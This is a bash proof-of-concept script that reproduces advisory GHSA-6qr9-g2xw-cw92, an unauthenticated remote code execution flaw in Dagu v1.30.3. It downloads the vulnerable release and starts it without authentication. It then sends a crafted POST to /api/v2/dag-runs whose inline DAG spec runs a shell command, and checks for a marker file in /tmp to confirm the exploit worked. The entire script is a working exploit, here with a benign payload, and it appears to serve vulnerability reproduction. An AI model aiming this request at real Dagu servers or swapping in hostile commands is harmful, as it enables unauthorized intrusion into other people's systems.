#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

# Path to Dagu binary
DAGU_BIN="${DAGU_BIN:-/tmp/dagu-extract/dagu}"
DAGU_HOME="$ROOT/.dagu_data"

echo "[+] Starting Dagu RCE reproduction (GHSA-6qr9-g2xw-cw92)"
echo "[+] Root: $ROOT"
echo "[+] Logs: $LOGS"
echo "[+] Dagu binary: $DAGU_BIN"
echo "[+] DAGU_HOME: $DAGU_HOME"

# Check if Dagu binary exists
if [ ! -x "$DAGU_BIN" ]; then
    echo "[+] Downloading Dagu v1.30.3 (vulnerable version)..."
    curl -sL "https://github.com/dagu-org/dagu/releases/download/v1.30.3/dagu_1.30.3_linux_amd64.tar.gz" -o /tmp/dagu-bin.tar.gz
    mkdir -p /tmp/dagu-extract
    tar -xzf /tmp/dagu-bin.tar.gz -C /tmp/dagu-extract
    DAGU_BIN="/tmp/dagu-extract/dagu"
fi

echo "[+] Dagu version: $($DAGU_BIN version)"

# Setup temp dir for Dagu data
mkdir -p "$DAGU_HOME/dags"
mkdir -p "$DAGU_HOME/data"

# Kill any existing Dagu processes
pkill -f "dagu server" 2>/dev/null || true
sleep 1

# Cleanup function
cleanup() {
    echo "[+] Cleaning up..."
    pkill -f "dagu server" 2>/dev/null || true
}
trap cleanup EXIT

# Start Dagu server with default configuration (AuthModeNone)
echo "[+] Starting Dagu server with default (unauthenticated) configuration..."
cd "$DAGU_HOME"
$DAGU_BIN server --port=8080 --dagu-home="$DAGU_HOME" --host=0.0.0.0 > "$LOGS/dagu_server.log" 2>&1 &
DAGU_PID=$!
echo "[+] Dagu server PID: $DAGU_PID"

# Wait for Dagu to be ready
echo "[+] Waiting for Dagu API to be ready..."
MAX_RETRIES=30
RETRY=0
while [ $RETRY -lt $MAX_RETRIES ]; do
    if curl -s http://localhost:8080/api/v1/dags 2>/dev/null | grep -q "example-01-basic"; then
        echo "[+] Dagu API is ready!"
        break
    fi
    sleep 2
    RETRY=$((RETRY + 1))
    echo "[+] Retry $RETRY/$MAX_RETRIES..."
done

if [ $RETRY -eq $MAX_RETRIES ]; then
    echo "[-] Dagu failed to start within timeout"
    cat "$LOGS/dagu_server.log"
    exit 1
fi

# Verify we're in AuthModeNone by checking if we can access without auth
echo "[+] Verifying authentication is disabled..."
if curl -s http://localhost:8080/api/v1/dags 2>/dev/null | grep -q "example-01-basic"; then
    echo "[+] Confirmed: No authentication required (AuthModeNone)"
else
    echo "[-] Unexpected response from API"
    curl -s http://localhost:8080/api/v1/dags 2>&1 | tee "$LOGS/auth_check.log"
fi

# Create a marker file with unique content to prove RCE
MARKER="repro_proof_$(date +%s)_$$"
echo "[+] Using marker: $MARKER"

# Exploit: POST inline DAG spec to execute arbitrary command
echo "[+] Sending exploit request to POST /api/v2/dag-runs..."
echo "[+] Payload: echo $MARKER > /tmp/pwned"

curl -s -X POST http://localhost:8080/api/v2/dag-runs \
    -H "Content-Type: application/json" \
    -d "{\"name\":\"poc\",\"spec\":\"steps:\\n  - name: rce\\n    command: echo $MARKER > /tmp/pwned\\n\"}" \
    2>&1 | tee "$LOGS/exploit_response.log"

echo ""
echo "[+] Waiting for DAG execution (5s)..."
sleep 5

# Verify the exploit worked by checking if the file was created
echo "[+] Verifying RCE by checking for marker file..."
if [ -f /tmp/pwned ] && grep -q "$MARKER" /tmp/pwned 2>/dev/null; then
    echo "[+] SUCCESS: RCE confirmed! Found marker '$MARKER' in /tmp/pwned"
    echo "[+] File contents:"
    cat /tmp/pwned | tee "$LOGS/verification.log"
    echo ""
    echo "[+] Vulnerability GHSA-6qr9-g2xw-cw92 CONFIRMED"
    echo "[+] Dagu with default (no-auth) configuration allows unauthenticated RCE"
    echo "[+] The POST /api/v2/dag-runs endpoint accepted inline YAML and executed commands"
    
    # Show the logs
    echo ""
    echo "[+] Server logs excerpt:"
    tail -30 "$LOGS/dagu_server.log" | tee "$LOGS/final_server.log"
    exit 0
else
    echo "[-] FAILED: Marker not found in /tmp/pwned"
    echo "[+] Checking what happened..."
    ls -la /tmp/pwned 2>&1 || echo "File not found"
    if [ -f /tmp/pwned ]; then
        cat /tmp/pwned 2>&1
    fi
    echo ""
    echo "[+] Server logs:"
    cat "$LOGS/dagu_server.log" | tail -50
    exit 1
fi
